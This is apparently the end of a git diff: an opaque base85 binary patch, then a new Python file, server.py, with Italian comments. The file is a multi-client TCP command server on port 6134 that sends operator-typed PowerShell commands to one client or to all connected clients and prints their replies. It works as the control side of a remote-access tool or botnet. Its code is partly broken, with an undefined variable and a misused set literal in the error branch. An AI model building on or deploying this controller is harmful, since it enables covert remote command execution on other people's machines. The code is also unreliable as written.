zUO-Z#I;7GE34#!Trj2(I)mNjiUg(*QD6*S4e*~OaCO!%1d}cmV09g~25I-N#+>94> z=rXkW1>oqbHX-3W>cmkTk9G{xN>k~1z?l=}OxP8GNjgk#e4(}09A3LCxqhk%TlsOV?vPRx(RIRwZfCV74jh(7y*R<+L%ol!nGr^-hk zk+(qr!+uVKN}tJq9bFgg0S;XdOS6`BfRvjo;XXj>O=YQoU;~a*h+2FDkb|bu=`+5ju97LjzGz1PEP%iuxd($krCs59JjA zXQ7Fz3Xo?_5HBFzQ3!8SoZ>~7QTly^6V({L=540q&e}{GQ-PzevS~yU2N=+PCzxxN z@C0z^GJ5y-0hwm+Sml~BB&&+sRlt&?8$o>UX#+;2H&jVsJNjLxqU53Wa z0kYC0;UqL)v5Cq72)!a_X!UwPwnt0H*u;;F>yARGjGM^}P%)#d6@Z|kF=I*-$8pBs zYygBNs0LLBAdMz@9_3WAIQsz6^(Qoc7!ZBW3OW=={IN|Y34g2cp}uL6XkQtI5_93) zL7r;IU!!0A8C3c{i73m42OtjM=n~*vR6z7KtiYKG$Q%=&n*nJz)vE%KT_#8kAoghM zc=!Q)&V{L_ws;UY879tO1!Red&$j^4_dtX^KLbQuRCn5YHrJi#In?=Sn~@#Kl9aYe_rtU9U$hmhyd~g8p3FcDd_&&flfUfy^RcE$m6Zvcsiv}S0OT=KEs6ml8#8*`3PA8b#<#3R@(~P_M(Oth5}qIH$2tMg_mM;` zb^@aBt6SKQkjnHnir>3pnf2bn|z+ofc34OwfM#dCkWNkYprGw zf76wN?rrhlB?eCA#HT4BRGRT+1kq5!vyr|W!ux<5l|~;OSL#{ky_a*0&-Hov5iYR^ zoYGTOTuBq3S{wofsx~jZhwIUPaSF|aQ2?E73!p)R*-pI)z=vrQ#OK8+Rc0gwKlWw9@q4}NG(diZtHkZ0uWCJ1 z3>lx6faYU=8;&2A#vgQM;`0~$8dn?36fY?+UbN`?MIdfkkCTD5)w-Uf6PS%tmz_(P z$9yg^ZKiyzy}#o+9KHwon)Ifrm!Hb(TmbIWJMbBuUPqB%Wt;)ci@^IC;-Fej4f+)w#ilX3=&{s9 zcEMA(IX~#L&Ck1uRZ;mJP%$8rrkE9`U28)0f?B9>k7m-|Uj-b}<*=Rq}*J(ItR{ZriXV8Nms;i4Co*!~Y1)0tc=gJ-9=+R*O z=NPFCTbt{t^^8_*grR%H+czw8qqk;VCJbUsmnC`vy9+&{o9DO-ib}cu^u9`~O}$3? zq1zr09sQ;R({Ao!dPtGg2Yh;O5X!KW>@<+%*nZY)^F94oF#1SR44 za{VxM>ICr+j5uTobc&YN*+rX056>nVZKUD{xl_lC5}8dyEX%aQ`KBlL+&I0g)o-#s zF1hw*yoMei>TgCoZ1WJRHU?RaxKEuEieFOGUzkKeSUd~wh=cLv2V zC&81A7}e5E(>Uqd@DgMFT@k*8)~gzoE^1Pc@898nwWSKp5cC7ib;F5ugi)WwJTYhS zbMw}1PV0W$Me9>U7>%WEOF+37a3R7y zU#Ms3hv9oXWOz}XVQQeeUQ#+5M_2g;z2ODM=;-eTL_OZvNig@B7xsA<`pJlxs*2rI zQaYrG9<9$?Kl%#=V|-ccU?t2-F=~s-uSciPq0>}B7ahfD%+q@UttIuU#Q&b|g{$G= z#w_NQoR7AThq+t)FY@Z0#N55a%t7xQoXMEJY8u1*fmZVn1|4ZXM!?l0Y6EtBGWWR? z3-kIw*Mv3;=6wFGInzacoEVOpPGW^-$K7j~qu^IMZm+xX!Pv!>I*WLg_!1z)eSYrt7>u{CKZ6IL7wm7$eu73WFW=r~Nns z@7Pc_BsVN1R(dW-^k+zbH zT*l5Sc~KXgB!0e6xsX@8&=Aeb7(4u3*z%0==;Gs;J}tpK#%QeQl-NU+6(a$rrN#mg ppKsDaIc8pNf)EAHRUtp7_kX=t#mtxVQjEqB4&d`0lJ-FC{{Y9!AW#4R literal 0 HcmV?d00001 diff --git a/server.py b/server.py new file mode 100644 index 0000000..46b2a4b --- /dev/null +++ b/server.py @@ -0,0 +1,95 @@ +import socket +import threading + +IP = "0.0.0.0" +PORT = 6134 +BIND = IP + ":" + str(PORT) + +clients = {} +client_id_counter = 1 +lock = threading.Lock() + +def client_receive(conn, addr, client_id): + while True: + try: + data = conn.recv(4096) # Aumentato il buffer a 1024 + if not data: + break + msg = data.decode("utf-8") # CORRETTO: decode invece di encode + print(f"[Client {client_id} - {addr}] {msg}") + except: + break + + with lock: + print(f"Connessione chiusa dal client {client_id}") + if client_id in clients: + del clients[client_id] + conn.close() + +def client_send(): + while True: + comando = input("comando> ") + + if comando == "list": + with lock: + if not clients: + print("Nessun client connesso") + else: + for cid, (conn, addr) in clients.items(): + print(f"Client {cid}: {addr}") + continue + + elif ":" not in comando: + print("Formato: : comando") + continue + target, msg = comando.split(":", 1) + + if(msg == "ps" or msg == "powershell"): + msg = 10 + msg = msg.to_bytes(1) + arg = input("Remote Command: ") + else: + { + print("Comando non valido") + } + + with lock: + if target.strip().lower() == "all": + for cid, (conn, _) in clients.items(): + conn.sendall(msg) + conn.sendall(arg.encode("utf-8")) + else: + try: + cid = int(target.strip()) + if cid in clients: + clients[cid][0].sendall(msg) + clients[cid][0].sendall(arg.encode("utf-8")) + else: + print("Nessun client trovato") + except ValueError: + print("ID Non Valido") + +def main(): + global client_id_counter + + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.bind((IP, PORT)) + server_socket.listen() + print(f"Server in ascolto su {BIND}") + + # Avvia il thread per l'invio dei comandi + threading.Thread(target=client_send, daemon=True).start() + + while True: + conn, addr = server_socket.accept() + with lock: + cid = client_id_counter + client_id_counter += 1 + clients[cid] = (conn, addr) + print(f"Nuova connessione da {addr} assegnata ID: {cid}") + + # Avvia il thread per ricevere i messaggi dal client + threading.Thread(target=client_receive, args=(conn, addr, cid), daemon=True).start() + +if __name__ == "__main__": + main() \ No newline at end of file